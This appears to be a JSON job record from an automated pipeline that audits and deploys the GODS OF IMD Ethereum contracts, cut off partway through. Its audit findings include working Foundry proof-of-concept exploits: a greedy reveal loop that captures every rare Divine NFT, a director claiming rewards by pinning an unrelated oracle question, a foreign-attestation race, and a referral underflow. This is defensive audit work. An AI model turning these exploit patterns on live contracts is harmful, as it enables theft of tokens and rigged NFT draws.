{"assessments":[],"deployments":[{"attestationHash":"5e0c9a7e125279db072fff60e9f12fbfc1995ddd97085ef5d111c544975d3603","chainId":1,"contracts":[],"id":"16bc6b00-e960-4d57-8407-41676784dbd5","manifestHash":"ffd3061835991d4059dfe57c714e1b0859d889b638aa724ddcc5f1858136e237","status":"deploying"}],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"0335fcb0-4998-4bb4-90b0-50a39d163f08","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"73fafc4b854a2922e1b52162e278b66aea9e9055f999d08f56208165a1a97569","dependsOn":["audit_imported_code"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"15128eeb8da9fb5ec13c7964e80f936ddc40e718cc0d455d200435c3dc43d6a7","skillId":"adapt-contract-project","tools":[]},"key":"adapt_contract_project","kind":"code","role":"implement","skillHash":"15128eeb8da9fb5ec13c7964e80f936ddc40e718cc0d455d200435c3dc43d6a7","skillId":"adapt-contract-project","state":"accepted"},{"acceptedSubmissionHash":"2607ed159ec44045ca4e3b4cf82fdaf5dcb8fb247c9bf2e85189aeec4dadb0bb","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"79ab50d8f62fc16369ad94c8444644cef306bd36049fd3c42b5eade526585283","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"31e55da6ab3757f3fff6b036586633fa57fa23ff8f078068831934acc4e0eb9c","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"b72293c3366fff3f0b93151bca72cc6cbd189dad31d1ccd1d34dd483f2165a36","skillId":"audit-imported-code","subagents":4,"tools":[]},"key":"audit_imported_code","kind":"code","role":"review","skillHash":"b72293c3366fff3f0b93151bca72cc6cbd189dad31d1ccd1d34dd483f2165a36","skillId":"audit-imported-code","state":"accepted"},{"acceptedSubmissionHash":"4da2ecc7e8e3aee99a02ff68307a68767258265b576c2acdc235ce42f2291917","dependsOn":["adapt_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"b89279670f5a00f5d26286edee00c97dd158b997031350a01cafe6e0329ad227","skillId":"audit-judge","subagents":4,"tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"b89279670f5a00f5d26286edee00c97dd158b997031350a01cafe6e0329ad227","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"ea7ca8b210b6ebf0e7bf86d052a834e3ed6c79dcca597a12fcae88bbdf9d5a12","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"282189fb3fd48a65d96bd174a548607337f569bd1007def40935c0db692b9603","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"6035b1d64d916c604d8b2be10176d0ccccb9488013e127e81cb4a0ce2843e4b4","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"933a38b30c6d7458398efe64273a4b2c5418fd5ebd759a5420fde2bb365fbc40","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"1ddb4d02eb75e52d5f38cfd5c9bb54f332687b81929c68880cf1e8a6ab27254d","skillId":"write-foundry-tests","subagents":4,"tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"1ddb4d02eb75e52d5f38cfd5c9bb54f332687b81929c68880cf1e8a6ab27254d","skillId":"write-foundry-tests","state":"accepted"}],"objective":"Launch the GODS OF IMD contracts from this repository exactly as they are, on Ethereum (chain 1): OracleShrine first, then GodsOfIMDInhabitants. No token and no pool.\n\nDo not change the contracts' code, ABI, constants or behaviour: the game server and the players' app already use this ABI. Total supply: 1000 NFTs (GENESIS_SUPPLY, fixed in the contract; the Mark deck 640 / 250 / 100 / 10). Only make what IMD's launch needs, and keep foundry.toml (bytecode_hash = \"none\").\n\nConstructor arguments, in order:\n1. OracleShrine(address owner_, IIntake intake_, IERC20 imd_, address oracleSigner_, address director_): $owner; IMD Intake v2 0xa43e6F75ee006411F79Ac1C84120606C2330DE82; the IMD token 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7; IMD's oracle attester 0x5598Aa9146215Bc13eb26f2c692Ad1461Fd32982; the game server wallet (director) 0xF0CED7f39217FFd0A26686CF660AFA39DfCc699A.\n2. GodsOfIMDInhabitants(address owner_, IERC20 imd_, address shrine_, address burnSink_): $owner; the IMD token 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7; $contract:OracleShrine; the burn sink 0xe29386719C155B6847aD5a4E97C6674f10ffc750.\n\nBoth constructors only reject zero addresses and make no external call, so they deploy in a fresh EVM. They receive no ETH, and nothing is called after deployment: the owner sets the metadata URL, the steward, the payees and the mint phase from their own wallet. Every owner role goes to $owner.\n\nThe launch manifest (launch.json) is exactly:\n{\"kind\":\"evm_contracts\",\"contracts\":[{\"contract\":\"OracleShrine\",\"constructorArgs\":[\"$owner\",\"0xa43e6F75ee006411F79Ac1C84120606C2330DE82\",\"0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7\",\"0x5598Aa9146215Bc13eb26f2c692Ad1461Fd32982\",\"0xF0CED7f39217FFd0A26686CF660AFA39DfCc699A\"]},{\"contract\":\"GodsOfIMDInhabitants\",\"constructorArgs\":[\"$owner\",\"0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7\",\"$contract:OracleShrine\",\"0xe29386719C155B6847aD5a4E97C6674f10ffc750\"]}],\"notes\":\"GODS OF IMD on Ethereum. OracleShrine(owner_, intake_, imd_, oracleSigner_, director_): $owner; IMD Intake v2; the IMD token on this chain; IMD's oracle attester; the game server wallet (director). GodsOfIMDInhabitants(owner_, imd_, shrine_, burnSink_): $owner; the same IMD token; $contract:OracleShrine; the burn sink. Both constructors only reject zero addresses and make no external call. Nothing is called after deployment: the owner sets the metadata URL, the steward, the payees and the mint phase from their own wallet.\"}","parentJobId":null,"planHash":"c2268351e87dfe2f799173a08e0c8b0cfcbda90279999a2dcb83b1b96b622e5b","previousHash":"27f2e9ad9a1a14405a338ec3648ae0495090d178475ce56e0e66c293d5b02f36","projectId":"0335fcb0-4998-4bb4-90b0-50a39d163f08","publication":{"commit":"6dafb45957cf779b3c9bcd23d0adaeccb1486961","deliveredAt":"2026-11-13T03:19:10.173Z","repoUrl":"https://github.com/identity-md-launches/launch-3253-launch-gods-imd-contracts"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[],"site":null,"snapshotHash":"d4216e055563248e33c6f116fd295d619fd91929f9cc861c19b43941970e28b4","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":null,"device":"707624586655cf74","findings":[{"citation":"resolved","description":"reveal()/revealMany() are permissionless and take a caller-chosen order. The Mark is drawn by _draw(rand) as rand % total over the deck that is LEFT (markCap[i] - markRevealed[i], lines 717-733). Once blockhash(revealBlock) exists, the draw of every pending soul is a public deterministic function of the current deck state; revealing any one soul changes `total` and the weights and therefore re-rolls every other pending soul. A party holding (or merely able to reveal) many pending souls simulates all draws off-chain and reveals greedily: reveal whichever pending soul draws Divine now, otherwise reveal a non-Divine one to re-roll the rest. Since anyone may reveal anyone's soul, an attacker with one pending soul also gets one free re-roll per other pending soul in the system. The NatSpec (lines 32-33) admits order 'can influence' the draw, but the magnitude is total: the owner's 100 reserved souls (forgeReservedMany in one block) capture all 10 Divines, leaving none for the 900 paid forges that pay 5 IMD each for that chance, and contradicting 'Reserved souls draw their Mark from the same deck, with the same odds' (line 41-42). No block producer collusion is needed and the cost is gas only. Merged from audit_economics b048d1c3 (slither weak-prng lead is the same root cause). Fix keeping the ABI: make each soul's draw independent of reveal order (e.g. per-soul fixed deck position or a draw that does not depend on markRevealed), or force reveals to consume pending souls in token-id order so the caller cannot choose.","line":456,"path":"src/GodsOfIMDInhabitants.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {GodsOfIMDInhabitants} from \"src/GodsOfIMDInhabitants.sol\";\n\ncontract OrderIMD is ERC20 {\n    constructor() ERC20(\"IMD\", \"IMD\") {}\n}\n\n/// The owner forges the 100 reserved souls in one transaction. Two blocks later every draw is a known function\n/// of the deck that is left, so the owner reveals in the order that turns the most of them Divine.\ncontract RevealOrderTest is Test {\n    GodsOfIMDInhabitants nft;\n    address owner = address(0xA11CE);\n\n    function setUp() public {\n        nft = new GodsOfIMDInhabitants(owner, IERC20(address(new OrderIMD())), address(0x5A1), address(0xB0));\n        vm.roll(1000);\n    }\n\n    /// Exactly the contract's `_draw`, read from public state.\n    function _predict(uint256 id) internal view returns (uint8) {\n        bytes32 h = blockhash(nft.revealBlock(id));\n        uint256 rand = uint256(keccak256(abi.encode(h, nft.soulHashOf(id), id)));\n        uint256[4] memory w;\n        uint256 total;\n        for (uint256 i; i < 4; ++i) {\n            w[i] = nft.markCap(i) - nft.markRevealed(i);\n            total += w[i];\n        }\n        uint256 r = rand % total;\n        for (uint256 i = 4; i > 0;) {\n            --i;\n            if (r < w[i]) return uint8(i + 1);\n            r -= w[i];\n        }\n        return 1;\n    }\n\n    function test_revealOrderDoesNotMintExtraDivines() public {\n        bytes32[] memory hs = new bytes32[](100);\n        for (uint256 i; i < 100; ++i) hs[i] = keccak256(abi.encode(\"reserved\", i));\n        vm.prank(owner);\n        uint256 first = nft.forgeReservedMany(hs);\n        vm.roll(block.number + 2);\n        vm.setBlockhash(block.number - 1, keccak256(\"an ordinary block hash\"));\n\n        bool[100] memory done;\n        uint256 left = 100;\n        // Greedy: reveal any soul that draws Divine now; when none does, reveal one that is not Divine anyway\n        // (it burns a deck slot and re-rolls everyone else's modulus).\n        while (left > 0) {\n            uint256 pick = type(uint256).max;\n            uint256 filler = type(uint256).max;\n            for (uint256 i; i < 100; ++i) {\n                if (done[i]) continue;\n                uint8 m = _predict(first + i);\n                if (m == 4) { pick = i; break; }\n                if (filler == type(uint256).max) filler = i;\n            }\n            if (pick == type(uint256).max) pick = filler;\n            uint256[] memory one = new uint256[](1);\n            one[0] = first + pick;\n            nft.revealMany(one);\n            done[pick] = true;\n            --left;\n        }\n        uint256 divines = nft.markRevealed(3);\n        emit log_named_uint(\"Divines the owner took out of 100 reserved souls (deck: 10 in 1000, fair ~1)\", divines);\n        // 100 fair draws from a 1000-card deck with 10 Divines give at most 4 Divines with >99.6% probability.\n        assertLe(divines, 4, \"reveal order let the revealer pick the deck's Divines\");\n    }\n}","reproduction":"Fresh deploy, owner A. Block N: A calls forgeReservedMany with 100 distinct soul hashes (ids 901-1000, revealBlock N+1). Block N+2 (blockhash(N+1) = keccak256('an ordinary block hash') in the proof): A loops: compute _draw for every pending id from public state (markCap, markRevealed, soulHashOf, revealBlock); if some id draws Divine, revealMany([id]); else revealMany([any pending id]). Expected: about 1 Divine (100 fair draws from 10/1000; more than 4 has <0.4% probability). Actual: markRevealed(3) == 10, every Divine in the 1000-soul deck lands on the reserve. forge test --offline --match-path test/scratch/Proof_b048d1c3ba0e.t.sol fails: 'reveal order let the revealer pick the deck's Divines: 10 > 4'.","severity":"high","snippet":"        Mark m = _draw(uint256(keccak256(abi.encode(h, soulHashOf[tokenId], tokenId))));","title":"Reveal order is caller-chosen and every pending draw is predictable, so one revealer can take all 10 Divines of the deck"},{"citation":"resolved","description":"The vault's stated guarantee (lines 18-20) is that reserved IMD can only be claimed after the panel's signed answer is true to whether the list behind `root` follows the rules. But askRewards takes root, total, body and questionHash as four independent director inputs; nothing derives questionHash from (week, root, total) and the body is paid for but never read. _record (line 632) only checks that a.questionHash is pinned, and finalizeRewards (line 404) only reads the verdict for w.questionHash. So the signed answer never covers the root that claim() later trusts (line 440). The director (the game server's hot key 0xF0CE...699A) or anyone holding it proposes a root whose single leaf is its own address, pins the hash of a question whose honest answer is true, obtains that answer signed in the shrine's domain (the oracle-consumer reference: anyone can pay 0.5 IMD and name the shrine as consumer), relays it via record, finalizes and claims. Even an honest server bug (stale root) activates a root the panel never judged. The owner cannot intervene: cancelRewards is blocked once a judgment is recorded and withdraw cannot touch `reserved`. Merged from audit_permissions 70f57bfd and audit_flow e13e116b. Fix keeping the ABI: build the question inside askRewards from (week, root, total, address(this)) with the protocol's OracleQuestion library over an absolute window, require questionHash == OracleQuestion.hash(q) and derive body from the same values.","line":303,"path":"src/OracleShrine.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {OracleShrine} from \"src/OracleShrine.sol\";\nimport {IIntake} from \"src/interfaces/IIntake.sol\";\n\ncontract ProofIMD is ERC20 {\n    constructor() ERC20(\"Test IMD\", \"IMD\") {}\n    function mint(address to, uint256 amount) external { _mint(to, amount); }\n}\n\n/// Minimal intake: pulls the price and hands back an id. Never answers (the attacker relays instead).\ncontract ProofIntake is IIntake {\n    uint256 private nonce;\n    function requestWithFailure(bytes32, bytes calldata, Callback calldata, bytes4, address asset, uint256 amount)\n        external\n        returns (bytes32 requestId)\n    {\n        require(IERC20(asset).transferFrom(msg.sender, address(this), amount));\n        requestId = keccak256(abi.encode(address(this), ++nonce));\n    }\n}\n\n/// The rewards gate: \"reserved IMD can only be claimed after the panel's signed answer is `true`\" to the question\n/// whether the list behind `root` follows the rules. `askRewards` takes `questionHash` from the director with no\n/// binding to `root` or `body`, so a director (a hot server key) pins the hash of an unrelated question whose answer\n/// is `true`, obtains that answer signed in the shrine's domain (anyone can pay 0.5 IMD and name the shrine as the\n/// consumer), relays it through `record`, finalizes and claims the week to its own address. The panel never judged\n/// the list. Fails on the current code: the attacker is paid. Passes once the pinned question is derived from the\n/// proposal (root/total/week) inside the contract, or the proposal otherwise refuses an unbound hash.\ncontract RewardsQuestionUnboundTest is Test {\n    uint256 internal constant SIGNER_KEY = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;\n    address internal owner = address(0xA11CE);\n    address internal director = address(0xD1);\n    address internal attacker = address(0xBAD);\n    ProofIMD internal imd;\n    ProofIntake internal intake;\n    OracleShrine internal shrine;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        imd = new ProofIMD();\n        intake = new ProofIntake();\n        shrine = new OracleShrine(owner, intake, imd, vm.addr(SIGNER_KEY), director);\n        imd.mint(address(shrine), 1_000 ether);\n    }\n\n    function test_directorActivatesRewardsWithAnswerToUnrelatedQuestion() public {\n        uint256 total = 200 ether; // exactly maxRewardBps (20%) of the free balance\n        // Single-leaf tree: root == leaf, empty proof.\n        bytes32 root = shrine.rewardLeaf(attacker, total);\n        // Hash of a question that has nothing to do with the list (\"Is 1 + 1 = 2?\"), chosen by the director.\n        bytes32 unrelated = keccak256(\"Is 1 + 1 = 2?\");\n\n        vm.prank(director);\n        (bool proposed,) = address(shrine).call(\n            abi.encodeWithSignature(\n                \"askRewards(uint64,bytes32,uint256,bytes,bytes32)\",\n                uint64(1), root, total, bytes('{\"question\":\"does the list behind root follow the rules?\"}'), unrelated\n            )\n        );\n\n        if (proposed) {\n            // The oracle's honest answer to the unrelated question, signed for this shrine.\n            OracleShrine.Attestation memory a = OracleShrine.Attestation({\n                requestId: keccak256(\"attacker's own oracle request\"),\n                chainId: block.chainid,\n                questionHash: unrelated,\n                answerType: 0,\n                answer: abi.encode(true),\n                figure: 0,\n                fromBlock: 100,\n                toBlock: 200,\n                blockHash: bytes32(uint256(7)),\n                panelJobId: keccak256(\"panel job\"),\n                panelSize: 30,\n                quorum: 20,\n                agreed: 30,\n                issuedAt: uint64(block.timestamp),\n                expiresAt: uint64(block.timestamp + 1 hours)\n            });\n            (uint8 v, bytes32 r, bytes32 s) = vm.sign(SIGNER_KEY, shrine.attestationDigest(a));\n            bytes memory sig = abi.encodePacked(r, s, v);\n\n            vm.startPrank(attacker);\n            address(shrine).call(abi.encodeWithSignature(\n                \"record((bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\n                a, sig\n            ));\n            address(shrine).call(abi.encodeWithSignature(\"finalizeRewards(uint64)\", uint64(1)));\n            bytes32[] memory proof = new bytes32[](0);\n            address(shrine).call(\n                abi.encodeWithSignature(\"claim(uint64,address,uint256,bytes32[])\", uint64(1), attacker, total, proof)\n            );\n            vm.stopPrank();\n        }\n\n        assertEq(imd.balanceOf(attacker), 0, \"rewards were paid on a judgment of a question unrelated to the list\");\n    }\n}","reproduction":"State: shrine holds 1000 IMD, maxRewardBps 2000, director D. 1) D: askRewards(1, root = rewardLeaf(D, 200e18), 200e18, body = anything, questionHash = keccak256('Is 1 + 1 = 2?')) -> Proposed, reserved = 200e18. 2) The oracle answers that unrelated question for the shrine: attestation {questionHash as pinned, answerType 0, answer abi.encode(true), panel 30/20/30, requestId not the shrine's} signed by oracleSigner in the shrine's EIP-712 domain. 3) anyone: record(a, sig) -> accepted. 4) finalizeRewards(1) -> Active. 5) claim(1, D, 200e18, []) -> D receives 200 IMD. Expected: a week activates only on the panel's answer about the list behind `root`. Actual: any true answer the director pins activates it. forge test --offline --match-path test/scratch/Proof_70f57bfd28bc.t.sol fails: '200000000000000000000 != 0'.","severity":"medium","snippet":"        _pin(questionHash, KIND_REWARDS);","title":"Rewards approval is not bound to the proposal: askRewards pins any director-chosen questionHash, so a signed 'true' to an unrelated question activates and pays an arbitrary Merkle root"},{"citation":"resolved","description":"_record keys only on a.questionHash: it checks pinned, unanswered, panel floors, expiry and the signer's signature in this shrine's domain. It never stores or compares the intake requestId against the pin, and never consumes a.requestId (the oracle-consumer reference: 'only a request id it created and has not settled'; 'Consume one of them, once'). record() is permissionless. The reference states anyone can pay 0.5 IMD, name the shrine as consumer, and get their own question answered and signed in the shrine's domain; a body with an absolute window yields the same questionHash every time, and the director's body is public calldata. So an outsider re-asks the identical question and relays its own panel's answer first. The first recorded answer is final (pin.answered = true; unpin refuses answered pins); the shrine's own answer then reverts AlreadyAnswered inside the intake's try, pending[requestId] stays true and its 0.5 IMD is wasted. Impact: a hostile 'false' lets anyone rejectRewards a proposed week (claimants unpaid until a re-proposal under a new question); a beneficiary can re-ask until some panel says true and record that (answer shopping); every judgment pinned by ask() is equally racable. Merged from audit_flow 3ecc60d7, audit_economics 225b037a and audit_permissions 233bc051. Fix keeping the ABI: store the questionHash against the intake request id in _buy/askRewards, accept in onOracleResult only a.questionHash == the hash of that request and consume a.requestId; restrict record() to the director or to pins of a group request whose onResult has arrived.","line":632,"path":"src/OracleShrine.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {OracleShrine} from \"src/OracleShrine.sol\";\nimport {IIntake} from \"src/interfaces/IIntake.sol\";\n\ncontract ScratchIMD is ERC20 {\n    constructor() ERC20(\"IMD\", \"IMD\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// Pulls the price and remembers the callback; `deliver` calls it under 200k gas and swallows a revert.\ncontract ScratchIntake is IIntake {\n    uint256 private nonce;\n    mapping(bytes32 => Callback) private callbacks;\n\n    function requestWithFailure(bytes32, bytes calldata, Callback calldata callback, bytes4, address asset, uint256 amount)\n        external\n        returns (bytes32 requestId)\n    {\n        require(IERC20(asset).transferFrom(msg.sender, address(this), amount));\n        requestId = keccak256(abi.encode(address(this), ++nonce));\n        callbacks[requestId] = callback;\n    }\n\n    function deliver(bytes32 requestId, OracleShrine.Attestation calldata a, bytes calldata sig)\n        external\n        returns (bool ok)\n    {\n        Callback memory c = callbacks[requestId];\n        (ok,) = c.target.call{gas: 200_000}(abi.encodeWithSelector(c.selector, requestId, a, sig));\n    }\n}\n\n/// A third party pays for the same question body (same questionHash), names the shrine as consumer, and relays\n/// its own panel's answer through `record` before the shrine's paid answer arrives. The shrine accepts it: nothing\n/// ties a recorded attestation to a request the shrine made. The shrine's own paid answer is then refused.\ncontract ForeignAnswerRecordTest is Test {\n    uint256 constant SIGNER_KEY = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;\n    address owner = address(0xA11CE);\n    address director = address(0xD1);\n    address outsider = address(0xBAD);\n    address claimant = address(0xC1A1);\n\n    ScratchIMD imd;\n    ScratchIntake intake;\n    OracleShrine shrine;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        imd = new ScratchIMD();\n        intake = new ScratchIntake();\n        shrine = new OracleShrine(owner, intake, imd, vm.addr(SIGNER_KEY), director);\n        imd.mint(address(shrine), 1_000 ether);\n    }\n\n    function _att(bytes32 oracleRequestId, bytes32 q, bool answer) internal view returns (OracleShrine.Attestation memory a) {\n        a.requestId = oracleRequestId;\n        a.chainId = 1;\n        a.questionHash = q;\n        a.answerType = 0;\n        a.answer = abi.encode(answer);\n        a.fromBlock = 100;\n        a.toBlock = 200;\n        a.panelSize = 30; // the full panel the shrine's floors require\n        a.quorum = 20;\n        a.agreed = 20;\n        a.issuedAt = uint64(block.timestamp);\n        a.expiresAt = uint64(block.timestamp + 900);\n    }\n\n    function _sign(OracleShrine.Attestation memory a) internal view returns (bytes memory) {\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(SIGNER_KEY, shrine.attestationDigest(a));\n        return abi.encodePacked(r, s, v);\n    }\n\n    function test_answerFromSomeoneElsesRequestMustNotSettleTheShrinesQuestion() public {\n        bytes32 q = keccak256(\"week 1 reward list question, absolute window 100..200\");\n        bytes32 root = keccak256(abi.encode(claimant, uint256(100 ether)));\n        vm.prank(director);\n        bytes32 shrineRequest = shrine.askRewards(1, root, 100 ether, bytes(\"{...same public body...}\"), q);\n\n        // The outsider copied the public body into their own intake request (oracle UUID \"outsider-uuid\").\n        // The plane signs it in the shrine's domain because the shrine is the named consumer.\n        OracleShrine.Attestation memory foreign = _att(bytes32(\"outsider-uuid\"), q, false);\n        bytes memory foreignSig = _sign(foreign);\n        vm.prank(outsider);\n        (bool foreignAccepted,) = address(shrine).call(abi.encodeCall(OracleShrine.record, (foreign, foreignSig)));\n        assertFalse(foreignAccepted, \"an answer to a request the shrine never made settled its pinned question\");\n\n        // The shrine's own paid answer must still be able to settle its request and activate the week.\n        OracleShrine.Attestation memory own = _att(bytes32(\"shrine-uuid\"), q, true);\n        assertTrue(intake.deliver(shrineRequest, own, _sign(own)), \"the shrine's own paid answer was refused\");\n        shrine.finalizeRewards(1);\n        assertEq(uint8(shrine.rewardWeek(1).status), uint8(OracleShrine.RewardStatus.Active));\n    }\n}","reproduction":"State: shrine holds 1000 IMD, default floors 30/20/20. 1) director: askRewards(1, root, 100e18, body, q) -> intake request R pending, week Proposed. 2) outsider submits the identical body to the Intake naming the shrine as consumer; the oracle signs {requestId 'outsider-uuid', questionHash q, answerType 0, answer abi.encode(false), 30/20/20} in the shrine's domain. 3) outsider: record(foreign, sig). Expected: revert, the attestation answers a request the shrine never made. Actual: accepted, pins[q].answered = true. 4) intake delivers the shrine's own true answer to onOracleResult(R, ...): reverts AlreadyAnswered, swallowed, pending[R] stays true. 5) anyone: rejectRewards(1) releases the 100 IMD; finalizeRewards(1) is impossible. forge test --offline --match-path test/scratch/Proof_3ecc60d79388.t.sol fails: 'an answer to a request the shrine never made settled its pinned question'.","severity":"medium","snippet":"        Pin storage pin = pins[a.questionHash];","title":"record()/onOracleResult settle a pinned question with any validly signed attestation, never checking it answers a request the shrine made; a third party's re-ask of the same question wins the race and"},{"citation":"resolved","description":"The invariant token.burnBps + referralBps <= BPS, which keeps `price - burned - toReferrer` (line 375) non-negative, is checked only in _setForgeToken (line 651) against the referralBps current at listing time. setReferralBps (line 538) and setSplit (line 524) check the new referralBps only against the IMD payee pool and never against any listed token's burnBps. Once referralBps > BPS - token.burnBps, _payToken underflows for every forge naming a valid referrer while unreferred forges still succeed. No funds are lost (the whole call reverts) and the owner can recover by lowering referralBps or relisting, so this is an owner-configuration liveness defect. For the SHIFT listing fixed at deploy (burnBps 3000) it is reached once the owner sets burn+shrine <= 2999 bps and referralBps > 7000. Merged from write_foundry_tests b5653b55, audit_math 8a2da1b2 and audit_permissions 55118c7a. Fix: in setReferralBps and setSplit iterate _forgeTokenList and require t.burnBps + referralBps_ <= BPS for active tokens, or clamp toReferrer in _payToken.","line":538,"path":"src/GodsOfIMDInhabitants.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {GodsOfIMDInhabitants} from \"src/GodsOfIMDInhabitants.sol\";\n\ncontract ReferralProofToken is ERC20 {\n    constructor() ERC20(\"Proof token\", \"TEST\") {}\n    function mint(address to, uint256 amount) external { _mint(to, amount); }\n}\n\ncontract ReferralConfigurationProof is Test {\n    function test_referralUpdateMustNotInvalidateAnEnabledForgeToken() public {\n        address owner = address(0xA11CE);\n        address referrer = address(0x1001);\n        address buyer = address(0x1002);\n        ReferralProofToken imd = new ReferralProofToken();\n        ReferralProofToken alt = new ReferralProofToken();\n        GodsOfIMDInhabitants nft = new GodsOfIMDInhabitants(owner, imd, address(0x5100), address(0xB000));\n        vm.startPrank(owner);\n        nft.setPhase(GodsOfIMDInhabitants.Phase.Public);\n        uint256 id = nft.forgeReserved(keccak256(\"referrer soul\"));\n        nft.transferFrom(owner, referrer, id);\n        // Valid initially: 95% burned + the default 5% referral = 100%.\n        nft.setForgeToken(address(alt), 100 ether, 900, 9500, owner);\n        // A fix may reject this update atomically; it must not accept an unusable configuration.\n        (bool updated,) = address(nft).call(abi.encodeCall(nft.setReferralBps, (uint16(1000))));\n        vm.stopPrank();\n        if (!updated) {\n            assertEq(nft.referralBps(), 500, \"rejected update is atomic\");\n            return;\n        }\n        alt.mint(buyer, 100 ether);\n        vm.startPrank(buyer);\n        alt.approve(address(nft), 100 ether);\n        // Expected: a validated, enabled token remains usable by an eligible, funded player.\n        // Actual: panic 0x11 at price - burned - toReferrer (100 - 95 - 10).\n        nft.forgeWithToken(address(alt), keccak256(\"paid soul\"), referrer);\n        vm.stopPrank();\n        assertEq(nft.balanceOf(buyer), 1);\n    }\n}","reproduction":"Owner: setPhase(Public); forgeReserved(h) and transfer it to R so R is a valid referrer; setForgeToken(tok, 100e18, 900, 9500, owner) accepted (9500 + 500 <= 10000); setReferralBps(1000) accepted (1000 <= payeePoolBps() = 7000). Buyer B approves 100 tok: forgeWithToken(tok, h2, R). Expected: the setter refuses the value or the forge succeeds. Actual: revert Panic(0x11) at line 375 (100e18 - 95e18 - 10e18). forgeWithToken(tok, h2, address(0)) succeeds. forge test --offline --match-path test/scratch/Proof_b5653b555696.t.sol fails: 'panic: arithmetic underflow or overflow (0x11)'.","severity":"low","snippet":"        if (referralBps_ > pool) revert InvalidReferralBps(referralBps_, pool);","title":"setReferralBps/setSplit do not re-validate listed forge tokens: burnBps + referralBps can exceed 100%, after which every referred forgeWithToken reverts with Panic(0x11)"},{"citation":"resolved","description":"`week` is an arbitrary uint64 with no relation to time or to earlier proposals, and the cap is recomputed as 20% of what is free at that moment. The NatSpec on maxRewardBps (line 138) says a week's total may be at most this share of the free balance, which never bounds what the director can place under oracle-gated reservation in total. Twenty proposals 